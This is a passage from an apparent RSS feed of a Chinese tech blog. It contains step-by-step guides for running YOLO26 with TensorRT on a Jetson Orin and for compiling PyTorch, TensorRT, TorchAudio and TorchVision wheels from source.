&lt;p&gt;&lt;a href=&quot;/2026/01/13/jetson-orin-pytorch-whl-build-guide/&quot;&gt;Jetson Orin PyTorch whl 自编译指南&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;iframe loading=&quot;lazy&quot; class=&quot;wp-embedded-content&quot; sandbox=&quot;allow-scripts&quot; security=&quot;restricted&quot; style=&quot;position: absolute; visibility: hidden;&quot; title=&quot;《 Jetson Orin PyTorch whl 自编译指南 》—Shattered217のBlog&quot; src=&quot;/2026/01/13/jetson-orin-pytorch-whl-build-guide/embed/#?secret=2hNleHcwml#?secret=U071gYsMkw&quot; data-secret=&quot;U071gYsMkw&quot; width=&quot;600&quot; height=&quot;338&quot; frameborder=&quot;0&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; scrolling=&quot;no&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;/2026/01/13/jetson-orin-torchvision-compile-guide/&quot;&gt;Jetson Orin TorchVision whl 自编译指南&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;iframe loading=&quot;lazy&quot; class=&quot;wp-embedded-content&quot; sandbox=&quot;allow-scripts&quot; security=&quot;restricted&quot; style=&quot;position: absolute; visibility: hidden;&quot; title=&quot;《 Jetson Orin TorchVision whl 自编译指南 》—Shattered217のBlog&quot; src=&quot;/2026/01/13/jetson-orin-torchvision-compile-guide/embed/#?secret=CBOjhkj7RG#?secret=qg2nTX2W43&quot; data-secret=&quot;qg2nTX2W43&quot; width=&quot;600&quot; height=&quot;338&quot; frameborder=&quot;0&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; scrolling=&quot;no&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/p&gt;
&lt;p&gt;如果不想自编译，可以在 &lt;a href=&quot;https://forums.developer.nvidia.com/t/pytorch-for-jetson/72048&quot;&gt;NVIDIA Developer Forums&lt;/a&gt; 下载官方提供的预编译 torch 和 torchvision，下面给出安装方案&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/01/1774501393-image-1024x525.png&quot; alt=&quot;搭建环境 - Jetson Orin 使用 TensorRT 推理 YOLO26 操作截图&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -LsSf https://astral.sh/uv/install.sh | sh  # 首先安装 UV，安装过的可跳过
mkdir -p yolo26
cd yolo26
uv venv .venv --python 3.10 # 创建一个工作区以及虚拟环境
uv pip install ultralytics # 安装 YOLO 官方的超集包
wget https://nvidia.box.com/shared/static/zvultzsmd4iuheykxy17s4l2n91ylpl8.whl -O torch-2.3.0-cp310-cp310-linux_aarch64.whl
wget https://nvidia.box.com/shared/static/u0ziu01c0kyji4zz3gxam79181nebylf.whl -O torchvision-0.18.0a0+6043bc2-cp310-cp310-linux_aarch64.whl
uv pip uninstall torch
uv pip uninstall torchvision
uv pip install torch-2.3.0-cp310-cp310-linux_aarch64.whl
uv pip install torchvision-0.18.0a0+6043bc2-cp310-cp310-linux_aarch64.whl
uv pip install &quot;numpy&amp;lt;2&quot;
# 下载并安装GPU版本的 torch torchvision 以及降级 numpy
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果既不想自编译也没有合适的版本 怎么办呢？别急，还可以通过 container 来跑 &lt;a href=&quot;https://github.com/dusty-nv/jetson-containers&quot;&gt;dusty-nv/jetson-containers: Machine Learning Containers for NVIDIA Jetson and JetPack-L4T&lt;/a&gt; （与本文相关性不太大，后期可能专门出一期教程）&lt;/p&gt;
&lt;p&gt;教程已出 /2026/01/17/jetson-container-trt-yolo26-inference-guide/&lt;/p&gt;
&lt;p&gt;这里我还是根据自编译的 whl 来跑，因为自由度更高，我也分享了 whl 在 &lt;a href=&quot;https://github.com/Shattered217/Jetson-Orin-Nano-Wheels&quot;&gt;GitHub&lt;/a&gt; 上，如果 JetPack 为 6.2.x 都可以尝试安装&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -LsSf https://astral.sh/uv/install.sh | sh  # 首先安装 UV，安装过的可跳过

mkdir -p yolo26
cd yolo26
uv venv .venv --python 3.10 # 创建一个工作区以及虚拟环境

uv pip install ultralytics # 安装 YOLO 官方的超集包

wget https://github.com/Shattered217/Jetson-Orin-Wheels/releases/download/6.2.1rc1/torch-2.3.0a0+git97ff6cf-cp310-cp310-linux_aarch64.whl
wget https://github.com/Shattered217/Jetson-Orin-Wheels/releases/download/6.2.1rc1/torchvision-0.18.0-cp310-cp310-linux_aarch64.whl

uv pip install torch-2.3.0a0+git97ff6cf-cp310-cp310-linux_aarch64.whl
uv pip install torchvision-0.18.0-cp310-cp310-linux_aarch64.whl
# 安装 torch 包
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;验证 YOLO&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;source .venv/bin/activate
yolo check
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/01/1768634609-image-1024x705.png&quot; alt=&quot;验证 YOLO - Jetson Orin 使用 TensorRT 推理 YOLO26 操作截图&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;推理 YOLO26&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# 在虚拟环境下运行
yolo predict model=yolo26n.pt source=&apos;https://ultralytics.com/images/bus.jpg&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/01/1768634848-image.png&quot; alt=&quot;推理 YOLO26 - Jetson Orin 使用 TensorRT 推理 YOLO26 操作截图 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/01/1768634866-bus-768x1024.jpg&quot; alt=&quot;推理 YOLO26 - Jetson Orin 使用 TensorRT 推理 YOLO26 操作截图 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;竟然要 143.8ms ?别急，接下来我们将使用 TensorRT 量化加速模型&lt;/p&gt;
&lt;h2&gt;推理 YOLO26 TRT&lt;/h2&gt;
&lt;p&gt;首先需要安装 onnx&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uv pip install onnx onnxslim
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;关于 TensorRT，可以通过软链接指向系统的 TRT 包命令如下（但需要虚拟环境与系统的 Python 版本统一，即3.10，不然会报错，如果版本不匹配或其他问题导致的链接失败，请参考 &lt;a href=&quot;/2026/01/13/jetson-orin-tensorrt-whl-compilation-guide/&quot;&gt;自编译指南&lt;/a&gt;）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ln -sf /usr/lib/python3.10/dist-packages/tensorrt* $(python3 -c &apos;import site; print(site.getsitepackages()[0])&apos;)/
python3 -c &quot;import tensorrt; print(f&apos;TensorRT version: {tensorrt.__version__}&apos;)&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;回显版本则说明链接成功&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/01/1768635370-image.png&quot; alt=&quot;推理 YOLO26 TRT - Jetson Orin 使用 TensorRT 推理 YOLO26 操作截图 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后我们可以开始导出 TRT engine（会报错 onnxruntime-GPU 的问题，不用在意，如果硬要装也可以，&lt;a href=&quot;/2025/11/03/jetson-orin-onnx-gpu/&quot;&gt;自编译&lt;/a&gt; &lt;a href=&quot;https://elinux.org/Jetson_Zoo#ONNX_Runtime&quot;&gt;Jetson Zoo预编译&lt;/a&gt; &lt;a href=&quot;https://github.com/Shattered217/Jetson-Orin-Nano-Wheels/releases/tag/6.2.1rc1&quot;&gt;煮包预编译&lt;/a&gt;。另外，煮包的 Github 预编译仓库里面也有 TRT 的预编译包，安装就不用软链接了，不过并没有什么大区别）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;yolo export model=yolo26n.pt format=engine half=True device=0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/01/1768635775-image-1024x837.png&quot; alt=&quot;推理 YOLO26 TRT - Jetson Orin 使用 TensorRT 推理 YOLO26 操作截图 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;导出成功后然后我们可以继续推理了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;yolo predict task=detect model=yolo26n.engine source=&apos;https://ultralytics.com/images/bus.jpg&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/01/1768635917-image-1024x228.png&quot; alt=&quot;推理 YOLO26 TRT - Jetson Orin 使用 TensorRT 推理 YOLO26 操作截图 3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以看到 推理速度已经达到个位数了，实验非常成功 ✌️&lt;/p&gt;
</content:encoded></item><item><title>Jetson Orin PyTorch whl 自编译指南</title><link>https://nvcc-v.com/2026/01/13/jetson-orin-pytorch-whl-build-guide/</link><guid isPermaLink="true">https://nvcc-v.com/2026/01/13/jetson-orin-pytorch-whl-build-guide/</guid><description>在 Jetson Orin aarch64 环境中从源码构建 PyTorch whl，记录依赖、编译参数和安装验证。</description><pubDate>Tue, 13 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;基础信息&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;类别&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;关键参数&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;记录值&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;备注&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;基础工具&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CMake / GCC&lt;/td&gt;
&lt;td&gt;4.2.1 / 11.4.0&lt;/td&gt;
&lt;td&gt;建议 CMake &amp;gt; 3.20&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Python&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Version / Path&lt;/td&gt;
&lt;td&gt;3.12.12 / &lt;code&gt;.venv&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;确保在虚拟环境下编译&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PyTorch&lt;/td&gt;
&lt;td&gt;Version&lt;/td&gt;
&lt;td&gt;2.7.0&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;JetPack&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Version&lt;/td&gt;
&lt;td&gt;6.2.1&lt;/td&gt;
&lt;td&gt;需对应 JetPack 版本&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;GPU 架构&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CUDA_ARCH&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;sm_87&lt;/strong&gt; (Orin)&lt;/td&gt;
&lt;td&gt;决定硬件兼容性&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;C++ ABI&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CXX11_ABI&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;1&lt;/strong&gt; (ON)&lt;/td&gt;
&lt;td&gt;影响第三方库链接&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;加速库&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Flash Attention&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;ON&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;决定 Transformer 推理性能&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;构建步骤&lt;/h2&gt;
&lt;p&gt;拉取项目代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git clone --recursive --branch v2.7.0 http://github.com/pytorch/pytorch
cd pytorch
sudo apt update &amp;amp;&amp;amp; sudo apt-get install python3-pip cmake libopenblas-dev libopenmpi-dev -y
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;创建并激活虚拟环境&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uv venv .venv --python 3.12
uv pip install -r requirements.txt
uv pip install scikit-build
source .venv/bin/activate
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;构建&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export PYTORCH_BUILD_VERSION=2.7.0
export PYTORCH_BUILD_NUMBER=1
export TORCH_CUDA_ARCH_LIST=&quot;8.7&quot;

export USE_NCCL=0             # 关闭 Jetson 用不上的模块
export USE_DISTRIBUTED=0
export USE_QNNPACK=0
export USE_PYTORCH_QNNPACK=0

export CUDA_HOME=/usr/local/cuda
export PATH=$CUDA_HOME/bin:$PATH
export LD_LIBRARY_PATH=$CUDA_HOME/lib64:$LD_LIBRARY_PATH
export USE_PRIORITIZED_TEXT_FOR_LD=1

export MAX_JOBS=$(nproc)
python3 setup.py bdist_wheel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;whl 输出路径&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;./pytorch/dist/torch-2.7.0-cp312-cp312-linux_aarch64.whl&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;安装&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uv pip install ./dist/torch-2.7.0-cp312-cp312-linux_aarch64.whl
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;测试验证&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;python -c&quot;import torch
print(torch.cuda.is_available())&quot;
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Jetson Orin TensorRT whl 自编译指南</title><link>https://nvcc-v.com/2026/01/13/jetson-orin-tensorrt-whl-compilation-guide/</link><guid isPermaLink="true">https://nvcc-v.com/2026/01/13/jetson-orin-tensorrt-whl-compilation-guide/</guid><description>在 Jetson Orin 上从源码编译 TensorRT Python whl，处理依赖路径与架构兼容问题并验证安装结果。</description><pubDate>Tue, 13 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;基础信息&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;类别&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;关键参数&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;记录值&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;备注&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;基础工具&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CMake / GCC&lt;/td&gt;
&lt;td&gt;4.2.1 / 11.4.0&lt;/td&gt;
&lt;td&gt;建议 CMake &amp;gt; 3.20&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Python&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Version / Path&lt;/td&gt;
&lt;td&gt;3.12.12 / &lt;code&gt;.venv&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;确保在虚拟环境下编译&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;GPU 环境&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CUDA / cuDNN&lt;/td&gt;
&lt;td&gt;12.6 / 9.3.0&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;GPU 架构&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CUDA_ARCH&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;sm_87&lt;/strong&gt; (Orin)&lt;/td&gt;
&lt;td&gt;决定硬件兼容性&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;TensorRT&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Version&lt;/td&gt;
&lt;td&gt;10.3.0.26&lt;/td&gt;
&lt;td&gt;构建产物&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;构建步骤&lt;/h2&gt;
&lt;p&gt;拉取项目代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mkdir -p ~/makenv &amp;amp;&amp;amp; cd ~/makenv
git clone --recursive --branch release/10.3 https://github.com/NVIDIA/TensorRT.git
cd ~/makenv/TensorRT/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;创建虚拟环境&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uv venv .venv --python 3.12
source .venv/bin/activate
uv pip install setuptools
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;创建 pybind&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export PYTHON_INCLUDE_DIR=$(python3 -c &quot;from sysconfig import get_paths; print(get_paths()[&apos;include&apos;])&quot;)
export EXT_PATH=~/makenv/external
git clone https://github.com/pybind/pybind11.git $EXT_PATH/pybind11
mkdir -p $EXT_PATH/python3.12/include
ln -s $PYTHON_INCLUDE_DIR/* $EXT_PATH/python3.12/include/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;构建&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export TENSORRT_LIBPATH=/usr/lib/aarch64-linux-gnu
export TRT_OSSPATH=~/makenv/TensorRT
cd $TRT_OSSPATH/python
TENSORRT_MODULE=tensorrt PYTHON_MAJOR_VERSION=3 PYTHON_MINOR_VERSION=12 TARGET_ARCHITECTURE=aarch64 ./build.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;whl输出目录&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;~/makenv/TensorRT/python/build/bindings_wheel/dist/tensorrt-10.3.0-cp312-none-linux_aarch64.whl&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;安装&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uv pip install ~/makenv/TensorRT/python/build/bindings_wheel/dist/tensorrt-10.3.0-cp312-none-linux_aarch64.whl
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;测试验证&lt;/h2&gt;
&lt;p&gt;最小可用性测试&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python -c &quot;
import tensorrt as trt

print(&apos;TensorRT version:&apos;, trt.__version__)

logger = trt.Logger(trt.Logger.INFO)
builder = trt.Builder(logger)

network = builder.create_network(
    1 &amp;lt;&amp;lt; int(trt.NetworkDefinitionCreationFlag.EXPLICIT_BATCH)
)

config = builder.create_builder_config()
config.set_memory_pool_limit(trt.MemoryPoolType.WORKSPACE, 1 &amp;lt;&amp;lt; 20)

print(&apos;Builder OK&apos;)
print(&apos;Network OK&apos;)
print(&apos;Config OK&apos;)
&quot;
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Jetson Orin TorchAudio whl 自编译指南</title><link>https://nvcc-v.com/2026/01/13/jetson-orin-torchaudio-compile-guide/</link><guid isPermaLink="true">https://nvcc-v.com/2026/01/13/jetson-orin-torchaudio-compile-guide/</guid><description>在 Jetson Orin aarch64 环境中编译 TorchAudio whl，配置 libsox 与 CUDA 依赖并验证音频处理功能。</description><pubDate>Tue, 13 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;&lt;strong&gt;基础信息&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;TorchAudio 与 Torch 版本一致&lt;/p&gt;
&lt;p&gt;PyTorch 编译教程请&lt;a href=&quot;/2026/01/13/jetson-orin-pytorch-whl-build-guide/&quot;&gt;参考&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;构建步骤&lt;/h2&gt;
&lt;p&gt;拉取项目代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git clone --recursive --branch v2.7.0 https://github.com/pytorch/audio torchaudio
cd torchaudio
sudo apt-get update &amp;amp;&amp;amp; sudo apt-get install -y libsox-dev libimage-exiftool-perl libopus-dev libvpx-dev pkg-config
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用编译 PyTorch 的虚拟环境&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;source ../pytorch/.venv/bin/activate
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;构建&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export USE_CUDNN=1
export CUDNN_INCLUDE_DIR=/usr/include
export CUDNN_LIBRARY=/usr/lib/aarch64-linux-gnu/libcudnn.so
export USE_CUDA=1
export TORCH_CUDA_ARCH_LIST=&quot;8.7&quot;
export CUDA_HOME=/usr/local/cuda
export CUDNN_HOME=/usr/lib/aarch64-linux-gnu
export PATH=$CUDA_HOME/bin:$PATH
export CPATH=&quot;/usr/include/aarch64-linux-gnu:$CPATH&quot;
export LIBRARY_PATH=&quot;/usr/lib/aarch64-linux-gnu:$LIBRARY_PATH&quot;

python3 setup.py bdist_wheel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意：虽然包含了路径，但 CUDNN 总是无法被包含，目前不知道如何解决&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;-- USE_CUDNN is set to 0. Compiling without cuDNN support&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;whl 输出路径&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;./torchaudio/torchaudio-2.7.0a0+654fee8-cp312-cp312-linux_aarch64.whl&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;安装&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uv pip install ./dist/torchaudio-2.7.0a0+654fee8-cp312-cp312-linux_aarch64.whl
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;验证测试&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;python -c &quot;
import torch; import torchaudio; import torchaudio.transforms as T;
print(f&apos;PyTorch version: {torch.__version__}&apos;);
print(f&apos;TorchAudio version: {torchaudio.__version__}&apos;);
print(f&apos;Available backends: {torchaudio.list_audio_backends()}&apos;);
try:
    from torchaudio.utils import ffmpeg_utils;
    print(&apos;FFmpeg build config:&apos;, ffmpeg_utils.get_build_config());
except ImportError:
    print(&apos;FFmpeg utils not available in this version.&apos;);
device = torch.device(&apos;cuda&apos; if torch.cuda.is_available() else &apos;cpu&apos;);
print(f&apos;Using device: {device}&apos;);
try:
    melspec = T.MelSpectrogram(sample_rate=16000, n_mels=64).to(device);
    waveform = torch.randn(1, 16000).to(device);
    spec = melspec(waveform);
    print(&apos;Successfully ran MelSpectrogram on GPU!&apos;);
    print(f&apos;Output shape: {spec.shape}&apos;);
except Exception as e:
    print(f&apos;GPU operation failed: {e}&apos;)
&quot;
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Jetson Orin TorchVision whl 自编译指南</title><link>https://nvcc-v.com/2026/01/13/jetson-orin-torchvision-compile-guide/</link><guid isPermaLink="true">https://nvcc-v.com/2026/01/13/jetson-orin-torchvision-compile-guide/</guid><description>在 Jetson Orin 上从源码构建 TorchVision whl，记录版本对应、环境变量、依赖安装和功能验证。</description><pubDate>Tue, 13 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;基础信息&lt;/h2&gt;
&lt;p&gt;TorchVision 与 Torch 版本&lt;a href=&quot;https://github.com/pytorch/vision?tab=readme-ov-file#installation&quot;&gt;对照表&lt;/a&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;code&gt;torch&lt;/code&gt;&lt;/th&gt;
&lt;th&gt;&lt;code&gt;torchvision&lt;/code&gt;&lt;/th&gt;
&lt;th&gt;Python&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;main&lt;/code&gt; / &lt;code&gt;nightly&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;main&lt;/code&gt; / &lt;code&gt;nightly&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&amp;gt;=3.10&lt;/code&gt;, &lt;code&gt;&amp;lt;=3.14&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;2.9&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0.24&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&amp;gt;=3.10&lt;/code&gt;, &lt;code&gt;&amp;lt;=3.14&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;2.8&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0.23&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&amp;gt;=3.9&lt;/code&gt;, &lt;code&gt;&amp;lt;=3.13&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;2.7&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0.22&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&amp;gt;=3.9&lt;/code&gt;, &lt;code&gt;&amp;lt;=3.13&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;2.6&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0.21&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&amp;gt;=3.9&lt;/code&gt;, &lt;code&gt;&amp;lt;=3.12&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;PyTorch 编译教程请&lt;a href=&quot;/2026/01/13/jetson-orin-pytorch-whl-build-guide/&quot;&gt;参考&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;构建步骤&lt;/h2&gt;
&lt;p&gt;拉取项目代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git clone --recursive --branch v0.22.0 https://github.com/pytorch/vision torchvision
cd torchvision
sudo apt-get update &amp;amp;&amp;amp; sudo apt-get install -y libjpeg-dev libpng-dev libwebp-dev libavcodec-dev libavformat-dev libswscale-dev ffmpeg
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用编译 PyTorch 的虚拟环境&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;source ../pytorch/.venv/bin/activate
uv pip install numpy pillow
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;构建&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export CPATH=&quot;/usr/include/aarch64-linux-gnu:/usr/local/cuda/include:$CPATH&quot;
export LIBRARY_PATH=&quot;/usr/lib/aarch64-linux-gnu:/usr/local/cuda/lib64:$LIBRARY_PATH&quot;
export LD_LIBRARY_PATH=&quot;/usr/lib/aarch64-linux-gnu:/usr/local/cuda/lib64:$LD_LIBRARY_PATH&quot;
export FORCE_CUDA=1
export TORCH_CUDA_ARCH_LIST=&quot;8.7&quot;

python3 setup.py bdist_wheel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;whl 输出路径&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;./torchvision/dist/torchvision-0.22.0+9eb57cd-cp312-cp312-linux_aarch64.whl&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;安装&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uv pip install ./dist/torchvision-0.22.0+9eb57cd-cp312-cp312-linux_aarch64.whl
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;测试验证&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;python -c &quot;
import torch
import torchvision
print(f&apos;Torchvision Version: {torchvision.__version__}&apos;)
input_tensor = torch.rand(5, 4).cuda()
scores = torch.rand(5).	cuda()
try:
    torchvision.ops.nms(input_tensor, scores, 0.5)
    print(&apos;✅ CUDA Operators: SUCCESS&apos;)
except Exception as e:
    print(f&apos;❌ CUDA Operators: FAILED, error: {e}&apos;)
from torchvision.io import image
print(&apos;✅ Basic Image IO: Functional&apos;)
&quot;
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>ImmortalWrt 编译进阶：实现与官方源 kmod 的完美兼容</title><link>https://nvcc-v.com/2026/01/11/immortalwrt-compile-kmod-compatibility/</link><guid isPermaLink="true">https://nvcc-v.com/2026/01/11/immortalwrt-compile-kmod-compatibility/</guid><description>通过对齐内核版本配置，使自编译 ImmortalWrt 固件兼容官方软件源的 kmod 内核模块。</description><pubDate>Sun, 11 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;编译 ImmortalWrt &lt;a href=&quot;/2025/09/11/cudy-tr3000-immortalwrt-guide/&quot;&gt;新手指南&lt;/a&gt;&lt;/p&gt;
